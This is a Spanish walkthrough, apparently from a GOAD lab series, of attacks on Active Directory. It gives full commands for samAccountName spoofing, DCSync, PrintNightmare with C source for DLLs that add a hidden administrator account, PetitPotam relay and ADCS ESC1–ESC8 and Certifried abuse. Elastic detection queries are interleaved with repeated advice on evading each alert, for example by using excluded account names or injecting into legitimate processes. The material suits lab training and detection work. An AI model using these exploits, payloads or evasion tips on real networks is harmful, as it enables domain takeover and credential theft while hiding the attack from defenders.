* https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
* https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
* https://github.com/cube0x0/noPac
* https://twitter.com/exploitph/status/1469157138928914432
* https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
Obtener un TGT:
```
python3 getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
```
Restablecer el nombre del ordenador al nombre original:
```
python3 renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing
```
Obtener un ticket de servicio con S4U2self presentando el TGT anterior:
```
export KRB5CCNAME=winterfell.ccache
python3 getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug
```
DCSync presentando el ticket de servicio:
```
export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
python3 secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
```
Detecciones de Elastic:
El DCSync ha generado 67 alertas.
Elastic ha detectado un comportamiento malicioso relacionado con el volcado sospechoso del registro del sistema. La alerta indica que el proceso svchost.exe, llevado a cabo por el usuario "Administrator" en el host "winterfell", está involucrado en esta actividad. Este tipo de acción suele indicar intentos de extraer credenciales de acceso almacenadas en el registro para propósitos maliciosos.
La alerta generada por Elastic detecta el uso de la técnica DCSync para replicar datos del Directorio Activo desde la cuenta de "Administrator" en la máquina "winterfell" y extraer credenciales, comprometiendo potencialmente todo el dominio.
Para evitar generar esta alerta, un atacante podría usar cuentas que no sean típicamente monitoreadas o que estén excluidas específicamente en las reglas de seguridad, como las que se enumeran en la regla (por ejemplo, cuentas que terminan en "`$`", "`MSOL_*`", etc.).
Consulta EQL:
```
any where event.action : ("Directory Service Access", "object-operation-performed") and
event.code == "4662" and winlog.event_data.Properties : (
/* Control Access Rights/Permissions Symbol */
"*DS-Replication-Get-Changes*",
"*DS-Replication-Get-Changes-All*",
"*DS-Replication-Get-Changes-In-Filtered-Set*",
/* Identifying GUID used in ACE */
"*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*",
"*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*",
"*89e95b76-444d-4c62-991a-0facbeda640c*")
/* The right to perform an operation controlled by an extended access right. */
and winlog.event_data.AccessMask : "0x100" and
not winlog.event_data.SubjectUserName : (
"*$", "MSOL_*", "OpenDNS_Connector", "adconnect", "SyncADConnect",
"SyncADConnectCM", "aadsync", "svcAzureADSync", "-"
)
/* The Umbrella AD Connector uses the OpenDNS_Connector account to perform replication */
```
Esta consulta filtra aquellos eventos que incluyen permisos especiales de replicación y control de acceso, identificados por GUIDs particulares y con una máscara de acceso de "0x100". Además, excluye eventos generados por nombres de usuario asociados con procesos de sincronización automatizados, como "OpenDNS_Connector" o "SyncADConnect", para identificar actividades potencialmente sospechosas o no autorizadas en el Directorio Activo.
La máscara de acceso "0x100" en Windows señala que se utilizó un permiso especial llamado "Control de Acceso" durante una operación. Este permiso permite realizar cambios o gestionar ciertos aspectos específicos y críticos de un objeto dentro del sistema, como las configuraciones de seguridad o acceso a información sensible.
Referencias:
* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html
* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing
* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml
* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md
* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync
* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
La alerta generada por Elastic indica un acceso remoto potencial a las credenciales a través del registro de Windows. La alerta se activó específicamente por el acceso al archivo temporal "LgNSTOwu.tmp" ejecutado por el proceso "svchost.exe" bajo la cuenta de "Administrator" en la máquina "winterfell". Este acceso se interpreta como un intento de extraer datos de credenciales del Security Account Manager (SAM) del registro, lo que podría llevar a una escalada de privilegios.
La alerta generada por Elastic señala que se ha detectado un intento de replicación del Directorio Activo por primera vez por parte de la cuenta de usuario "Administrator" en la máquina "winterfell", utilizando la técnica de DCSync. Esta técnica permite a los atacantes obtener información de credenciales de cuentas individuales o de todo el dominio, lo cual es una amenaza significativa para la seguridad del dominio.
Para evitar esta alerta, un atacante podría haber usado cuentas previamente empleadas para DCSync. Realizar la operación con una cuenta que ya ha sido usada anteriormente para la misma actividad, evitando alertas por ser la "primera vez".
Consulta EQL:
```
event.action:("Directory Service Access" or "object-operation-performed") and event.code:"4662" and
winlog.event_data.Properties:(*DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or
*DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or
*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and
not winlog.event_data.SubjectUserName:(*$ or MSOL_*)
```
Referencias:
* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html
* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing
* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml
* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md
* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync
* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
La alerta generada por Elastic ha detectado múltiples alertas en diferentes tácticas del marco ATT&CK en un único host. Esto significa que varias etapas de un ataque han sido activadas en la misma máquina, lo que indica una alta probabilidad de que el host esté comprometido. Este tipo de alerta ayuda a los analistas a priorizar la respuesta y la investigación, ya que sugiere una actividad maliciosa coordinada y multifacética.
## PrintNightmare
Para explotar PrintNightmare, primero comprobaremos si el servicio de cola de impresión está activo en los objetivos.
### Comprobar si el servicio de cola está activo:
Con nxc:
```
nxc smb 192.168.10.10-23 -M spooler
```
Con Impacket rpcdump:
```
impacket-rpcdump @192.168.10.10 | egrep 'MS-RPRN|MS-PAR'
```
### Preparar Impacket
Para explotar con el script de cube0x0, ya no necesitas la versión modificada de Impacket, ya que las modificaciones se han integrado en el proyecto principal:
* https://github.com/SecureAuthCorp/impacket/pull/1114
* https://github.com/SecureAuthCorp/impacket/pull/1109
### Preparar la DLL
Vamos a preparar la DLL de explotación.
Crearemos un usuario y lo añadiremos como administrador local.
Crear el archivo nightmare.c:
```c=
#include <windows.h>
int RunCMD()
{
system("net users pnightmare Passw0rd123. /add");
system("net localgroup administrators pnightmare /add");
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Compilarlo:
```
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
```
### Explotar en un antiguo y vulnerable servidor Windows Server 2016 (Meereen)
Comprobar si es vulnerable a PrintNightmare:
```
nxc smb meereen.essos.local -u jorah.mormont -p 'H0nnor!' -d essos.local -M printnightmare
```
Clonar el exploit:
```
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare
```
Preparar un recurso compartido SMB con la DLL:
```
impacket-smbserver -smb2support ATTACKERSHARE .
```
Antes del exploit, no existe el usuario pnightmare:
```
nxc smb meereen.essos.local -u pnightmare -p 'Passw0rd123.'
```
En un servidor Windows Server 2016 actualizado; el exploit no funcionará.
Explotar en Meereen:
```
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\10.10.10.10\ATTACKERSHARE\nightmare.dll'
```
Detecciones de Elastic:
Esta explotación ha generado 6 alertas en Elastic.
Elastic detectó una alerta de riesgo medio debido a una relación inusual entre un proceso padre y el proceso `cmd.exe`. Específicamente, el proceso `cmd.exe` fue iniciado por `spoolsv.exe`, lo cual no es típico y generó una alerta basada en una regla de correlación de eventos. La alerta señala que `cmd.exe` fue ejecutado con argumentos que añaden un usuario al grupo de administradores, lo que puede ser un indicio de actividad maliciosa.
La regla que disparó la alerta busca eventos de inicio de procesos (`event.type == "start"`) en sistemas Windows donde el proceso `cmd.exe` es iniciado por una lista específica de procesos padres inusuales, incluyendo `spoolsv.exe`.
Para evitar generar esta alerta, un atacante podría tomar varias medidas para evitar llamar la atención del sistema de detección:
1. **Usar Procesos Padres Comunes**: Iniciar `cmd.exe` desde un proceso padre que no sea considerado inusual. Por ejemplo, utilizar `explorer.exe` o `services.exe`, que son procesos comunes que inician `cmd.exe` en operaciones legítimas del sistema.
2. **Evitar el Uso de `cmd.exe`**: Utilizar otras técnicas de ejecución de comandos que no involucren directamente a `cmd.exe`. Por ejemplo, utilizar PowerShell (`powershell.exe`) o crear y ejecutar scripts desde aplicaciones que se consideren legítimas.
3. **Inyección en Procesos Legítimos**: Inyectar código malicioso en procesos legítimos ya existentes en lugar de crear nuevos procesos que podrían ser monitoreados.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
process.name : "cmd.exe" and
process.parent.name : ("lsass.exe",
"csrss.exe",
"epad.exe",
"regsvr32.exe",
"dllhost.exe",
"LogonUI.exe",
"wermgr.exe",
"spoolsv.exe",
"jucheck.exe",
"jusched.exe",
"ctfmon.exe",
"taskhostw.exe",
"GoogleUpdate.exe",
"sppsvc.exe",
"sihost.exe",
"slui.exe",
"SIHClient.exe",
"SearchIndexer.exe",
"SearchProtocolHost.exe",
"FlashPlayerUpdateService.exe",
"WerFault.exe",
"WUDFHost.exe",
"unsecapp.exe",
"wlanext.exe" ) and
not (process.parent.name : "dllhost.exe" and process.parent.args : "/Processid:{CA8C87C1-929D-45BA-94DB-EF8E6CB346AD}")
```
Elastic ha detectado un evento sospechoso en el cual el proceso cmd.exe fue iniciado por el servicio de Print Spooler (spoolsv.exe). Este tipo de actividad es inusual y puede indicar un intento de explotar vulnerabilidades de escalada de privilegios relacionadas con el servicio de impresión en Windows.
La regla está diseñada para detectar procesos hijos inusuales del servicio Print Spooler (spoolsv.exe).
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
process.parent.name : "spoolsv.exe" and process.command_line != null and
(?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and
/* exclusions for FP control below */
not process.name : ("splwow64.exe", "PDFCreator.exe", "acrodist.exe", "spoolsv.exe", "msiexec.exe", "route.exe", "WerFault.exe") and
not process.command_line : "*\\WINDOWS\\system32\\spool\\DRIVERS*" and
not (process.name : "net.exe" and process.command_line : ("*stop*", "*start*")) and
not (process.name : ("cmd.exe", "powershell.exe") and process.command_line : ("*.spl*", "*\\program files*", "*route add*")) and
not (process.name : "netsh.exe" and process.command_line : ("*add portopening*", "*rule name*")) and
not (process.name : "regsvr32.exe" and process.command_line : "*PrintConfig.dll*") and
not process.executable : (
"?:\\Program Files (x86)\\CutePDF Writer\\CPWriter2.exe",
"?:\\Program Files (x86)\\GPLGS\\gswin32c.exe"
)
```
Referencia: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Elastic ha detectado un evento en el cual un usuario fue agregado a un grupo privilegiado en Active Directory. Este tipo de acción es sensible porque los grupos privilegiados tienen derechos, privilegios y permisos poderosos que permiten realizar casi cualquier acción en Active Directory y en sistemas unidos al dominio.
El grupo al que se añade el usuario debe estar en la lista de grupos privilegiados:
* Admin*
* Local Administrators
* Domain Admins
* Enterprise Admins
* Backup Admins
* Schema Admins
* DnsAdmins
* Exchange Organization Administrators
Consulta EQL:
```
iam where winlog.api:"wineventlog" and event.action == "added-member-to-group" and
group.name : ("Admin*",
"Local Administrators",
"Domain Admins",
"Enterprise Admins",
"Backup Admins",
"Schema Admins",
"DnsAdmins",
"Exchange Organization Administrators")
```
Para evitar disparar esta alerta, un atacante podría tomar las siguientes medidas:
1. Evitar la Adición Directa a Grupos Privilegiados: En lugar de añadir directamente un usuario a un grupo privilegiado, el atacante podría intentar escalar privilegios utilizando métodos menos visibles, como la explotación de vulnerabilidades.
1. Uso de Cuentas Existentes: Aprovechar cuentas de usuario existentes que ya tienen privilegios elevados en lugar de crear nuevas cuentas o modificar la membresía de los grupos.
Referencia: [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory)
Elastic ha detectado un evento de alta severidad debido a la activación de múltiples alertas relacionadas con diferentes tácticas de la matriz MITRE ATT&CK en un solo host. Este tipo de alerta sugiere que el host podría estar comprometido y que el atacante ha avanzado a través de varias fases de su ataque.
El exploit funcionó.
> Espera, ¿usas conexión de dominio en lugar de –local-auth con nxc?
Sí, esto es porque Meereen es un controlador de dominio:
*"Los controladores de dominio no utilizan una base de datos de cuentas locales estándar (SAM, Security Accounts Manager), sino que emplean el servicio de directorio de Microsoft Active Directory para almacenar información de acceso de cuentas."*
Ver: https://docs.microsoft.com/en-us/windows/win32/secmgmt/built-in-and-account-domains
### Explotar un servidor Windows Server 2019 vulnerable (Winterfell)
Ahora intenta el mismo exploit en un servidor Windows Server 2019 vulnerable:
```
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\10.10.10.10\ATTACKERSHARE\nightmare.dll'
```
Y también funciona, pero el usuario no está en el grupo de administradores :(
```
nxc smb winterfell.north.sevenkingdoms.local -u pnightmare -p 'Passw0rd123.'
```
No es culpa del exploit, es nuestra DLL la que añade un usuario como administrador y es detectado cuando el usuario se configura como administrador.
Es bueno saber: después de varios fallos, el servicio de spooler será detenido por Defender y no podrás explotar más hasta que alguien reinicie el servidor o el servicio de spooler.
Cambiemos el payload con otro código (código fuente: https://github.com/newsoft/adduser):
```c=
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("pnightmare2"); // username
ud.usri1_password = _T("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
```
Con este payload, podemos evadir Defender y añadir nuestro usuario como administrador.
Compilar:
```
x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32
```
Preparar el recurso compartido:
```
impacket-smbserver -smb2support ATTACKERSHARE .
```
Volver a lanzar el exploit:
```
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\10.10.10.10\ATTACKERSHARE\pnightmare2.dll'
```
Detecciones de Elastic:
Esta acción ha generado 7 alertas, de las cuales dos nuevas.
Elastic ha detectado una alerta crítica debido a la detección de malware en un host específico. El evento involucra la ejecución de un archivo DLL malicioso por parte del proceso spoolsv.exe, lo cual es altamente sospechoso y sugiere un compromiso significativo del sistema.
Para evitar disparar esta alerta, un atacante podría evitar el uso de DLLs maliciosas conocidas, por ejemplo, utilizar malware personalizado o empaquetar el malware de manera que no coincida con firmas conocidas por Elastic Endpoint Security.
Elastic ha generado una alerta de alta severidad porque se han detectado múltiples alertas diferentes relacionadas con el mismo usuario, en este caso jon.snow. Este tipo de alerta sugiere que el usuario podría estar comprometido y que su cuenta podría estar siendo utilizada para llevar a cabo actividades maliciosas.
Para evitar disparar esta alerta, un atacante podría realizar actividades maliciosas utilizando múltiples cuentas de usuario en lugar de concentrar todas las acciones en una sola cuenta. Esto diluye las señales de compromiso y reduce la probabilidad de detección.
También, las cuentas excluidas en la consulta personalizada son SYSTEM (S-1-5-18), LocalService (S-1-5-19) y NetworkService (S-1-5-20), que son cuentas de sistema con diversos niveles de privilegios utilizadas para ejecutar servicios y tareas del sistema operativo. Un atacante podría evadir la detección utilizando estas cuentas para realizar actividades maliciosas sin generar alertas, ya que están excluidas de la consulta.
Consulta personalizada:
```
signal.rule.name:* and user.name:* and not user.id:("S-1-5-18" or "S-1-5-19" or "S-1-5-20")
```
Y disfruta de tu nueva cuenta de administrador extrayendo los datos del NTDS:
```
nxc smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!' --ntds
```
Detecciones de Elastic:
El DCSync ha generado 67 alertas.
Estas alertas podrían ser evitadas por un atacante llamando al usuario `MSOL_1` en lugar de `pnightmare2`.
### Limpieza
Después de la explotación, encontrarás tus DLLs dentro de: `C:\Windows\System32\spool\drivers\x64\3`
Y también dentro de: `C:\Windows\System32\spool\drivers\x64\3\Old\{id}\`
No olvides limpiar ;)
La próxima vez nos divertiremos con ADCS (Certifried, ESC1, ESC8...): GOAD pwning parte 6.
# 6. ADCS
En la publicación anterior (GOAD pwning parte 5) intentamos algunos ataques con una cuenta de usuario del dominio. En esta parte, intentaremos ataques cuando se haya configurado un ADCS en el dominio. Primero usaremos PetitPotam sin autenticar y el ataque ESC8 para obtener administrador del dominio en essos.local, luego enumeraremos certificados de plantillas con Certipy, BloodHound y una cuenta de usuario. Para finalizar, explotaremos los siguientes ataques: Certipy, ESC1, ESC2, ESC3, ESC4, ESC6, Certifried y Shadow Credentials.
## ESC8 - Coerce para obtener administrador del dominio
Para que este ataque funcione, necesitaremos:
- ADCS funcionando en el dominio con inscripción web habilitada.
- Un método de coerce en funcionamiento (aquí usamos PetitPotam sin autenticar, pero un PrinterBug autenticado u otros métodos de forzar autenticación funcionarán igual).
- Hay una plantilla útil para explotar ESC8, que por defecto en un Active Directory se llama DomainController.
Comprobemos si la inscripción web está activa en: http://192.168.10.23/certsrv/certfnsh.asp
El servidor solicita autenticación, así que todo está bien :)
Añade un listener para retransmitir la autenticación SMB a HTTP con impacket-ntlmrelayx:
```bash
impacket-ntlmrelayx -t http://192.168.10.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```
Lanza la coacción con [PetitPotam](https://github.com/topotam/PetitPotam) sin autenticar (esto ya no funcionará en un Active Directory actualizado, pero otros métodos de coerce autenticados funcionarán igual):
```bash
python3 PetitPotam.py 192.168.10.5 meereen.essos.local
```
ntlmrelayx retransmitirá la autenticación a la inscripción web y obtendrá el certificado.
Solicita un TGT con el certificado que acabamos de obtener (archivo MEEREEN$.pfx):
```bash
python3 gettgtpkinit.py -cert-pfx 'MEEREEN$.pfx' 'essos.local'/'meereen$' 'meereen.ccache'
```
Y ahora tenemos un TGT para meereen, así que podemos lanzar un DCSync y obtener todo el contenido de NTDS.DIT:
```bash
export KRB5CCNAME=meereen.ccache
impacket-secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
```
Esta acción no ha generado alertas de DCSync en Elastic porque las cuentas de máquina, cuyos nombres terminan en $, están excluidas del monitoreo para evitar alertas innecesarias derivadas de sus operaciones legítimas.
## ESC8 - Con Certipy
Oliver Lyak ha hecho un trabajo maravilloso con la herramienta de ataque ADCS [Certipy](https://github.com/ly4k/Certipy) para automatizar muchas cosas.
Hagamos el mismo ataque con Certipy. Configura el listener:
```bash
certipy relay -target 192.168.10.23 -ca 192.168.10.23 -template DomainController
```
Lanza el coerce como hicimos antes con PetitPotam:
```bash
python3 PetitPotam.py 192.168.10.5 meereen.essos.local
```
Ahora tenemos el certificado, así que podemos obtener el hash NT del DC y también el TGT con el comando:
```bash
certipy auth -pfx meereen.pfx -dc-ip 192.168.10.12
```
Y podemos lanzar un DCSync con secretsdump y el ticket que obtuvimos:
```bash
export KRB5CCNAME=meereen.ccache
impacket-secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
```
O con el hash:
```bash
impacket-secretsdump -hashes ':d3ea4e08fbe306d61836e4106ae8753f' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
```
## Reconocimiento y enumeración de ADCS (con Certipy y BloodHound)
Comencemos la enumeración con Certipy:
```bash
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.10.12
```
Esto buscará el servidor de certificados y volcará toda la información necesaria en tres formatos:
- **BloodHound**: un ZIP listo para importar en BloodHound (si usas Certipy 4.0 tendrás que instalar la [GUI de BloodHound modificada por Oliver Lyak](https://github.com/ly4k/BloodHound/releases), si no quieres usar la versión modificada, debes usar la opción `-old-bloodhound`).
- **JSON**: información en formato JSON.
- **TXT**: en formato texto.
Certipy 4.0 también reintroduce la opción `-vulnerable` para mostrar las plantillas vulnerables:
```bash
certipy find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.10.12 -stdout
```
Podemos encontrar una plantilla vulnerable a ESC1:
- Derechos de inscripción para todos los usuarios del dominio (Enrollment Rights)
- Autenticación de cliente (Client Authentication)
- El inscrito proporciona el sujeto (Enrollee Supplies Subject)
También hay una plantilla vulnerable a ESC2.
Y otras plantillas vulnerables, echemos un vistazo en BloodHound.
```bash
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip -d BloodHound4.2-ly4k
rm BloodHound-linux-x64.zip
sudo neo4j start
cd BloodHound4.2-ly4k/BloodHound-linux-x64
./BloodHound --no-sandbox --disable-dev-shm-usage
```
Importa el archivo zip creado con Certipy.
Y obtén una vista general con: PKI -> Find Certificate Authorities, selecciona la autoridad de certificados y haz clic en: "See Enabled Templates".
Si no tienes ESC4 configurado en el laboratorio, por favor, actualiza y ejecuta los siguientes comandos:
```bash
ansible-playbook acl.yml
ansible-playbook adcs.yml
```
Luego, vuelve a ejecutar Bloodhound y Certipy :)
Ahora deberías tener la configuración de ACL y ADCS ESC4 correctamente configurada.
## ADCS - Explotación
## ADCS - ESC1
Enumera:
```bash
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.10.12
```
Consulta el certificado:
- Objetivo: el servidor CA.
- Plantilla: la plantilla vulnerable.
- UPN: el usuario objetivo que queremos suplantar.
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
```
Autenticación con el PFX que solicitamos antes:
```bash
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
```
> Si obtienes el error: "[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)", el laboratorio tiene un problema. No sé por qué a veces no funciona, pero puedes solucionar esto reiniciando DC3 con el siguiente comando: `vagrant reload DC03`
## ADCS - ESC2 y ESC3
Como se menciona en la página de Certipy: "ESC2 es cuando una plantilla de certificado puede ser utilizada para cualquier propósito. Dado que el certificado puede ser utilizado para cualquier propósito, puede ser utilizado para la misma técnica que con ESC3 para la mayoría de las plantillas de certificado."
Distingamos los dos ataques probando con ESC2:
Consulta el certificado:
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC2 -ca ESSOS-CA
```
Consulta el certificado con el certificado del Agente de Solicitud de Certificado que obtuvimos antes (-pfx):
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
```
Autenticación:
```bash
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
```
También podemos hacer lo mismo con las plantillas ESC3-CRA y ESC3 en el laboratorio:
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.10.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.10.12
```
## ADCS - ESC4
Toma la plantilla ESC4 y cámbiala para que sea vulnerable a la técnica ESC1 usando el privilegio GenericWrite que obtuvimos (no configuramos el objetivo aquí, ya que apuntamos a ldap):
```bash
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old -debug
```
Explota ESC1 en la plantilla ESC4 modificada:
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local
```
Autenticación con el PFX:
```bash
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
```
Revierte la configuración de la plantilla:
```bash
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
```
## ADCS - ESC6
Según Certipy, "ESC6 se refiere a una situación en la que una Autoridad de Certificación (CA) permite que el atributo EDITF_ATTRIBUTESUBJECTALTNAME2 esté habilitado. Este atributo permite al solicitante del certificado especificar un SAN (Subject Alternative Name) arbitrario en todos los certificados, sin importar la configuración de la plantilla del certificado."
Dado que ESSOS-CA es vulnerable a ESC6, podemos utilizar esta vulnerabilidad para llevar a cabo el ataque ESC1. Esto es posible incluso utilizando la plantilla de usuario en lugar de la plantilla ESC1, aunque la plantilla de usuario tenga configurado 'Enrollee Supplies Subject' en falso.
Para realizar el ataque, ejecuta el siguiente comando:
```bash
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local
```
Luego, autentica usando:
```bash
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.12
```
Si necesitas desactivar el atributo EDITF_ATTRIBUTESUBJECTALTNAME2 (ya sea para probar sin él o porque [este ataque no funcionará en un Active Directory actualizado sin la vulnerabilidad ESC10](https://github.com/ly4k/Certipy#esc6)), puedes hacerlo como administrador en Braavos con los siguientes comandos:
```bash
certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
```
> Esto significa que, si tienes acceso de administrador en el servidor de certificados, puedes cambiar este atributo para explotar ESC1 sin necesidad de ser administrador del dominio.
Ten en cuenta que al desactivar el atributo EDITF_ATTRIBUTESUBJECTALTNAME2, el exploit ESC6 ya no funcionará y no se permitirá cambiar el SAN arbitrariamente.
Para volver a activarlo:
```
certutil –setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
```
## Certifried - CVE-2022–26923
Oliver Lyak descubrió una vulnerabilidad que permite la escalada de privilegios en Active Directory mediante un usuario de bajos privilegios. Este método consiste en modificar la propiedad dnsHostName en una máquina recién creada, similar a la vulnerabilidad de samAccountName, ya que ambas explotan una confusión de nombres en la autenticación. Para más detalles, consulta [este enlace](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4).
Crear una cuenta de usuario de dominio y establecer un nombre DNS falso como si fuera el controlador de dominio:
```bash
certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'
```
Solicitar un certificado para la máquina creada utilizando la plantilla Machine:
```bash
certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine
```
Autenticarse con el certificado como si fuera el controlador de dominio (meereen):
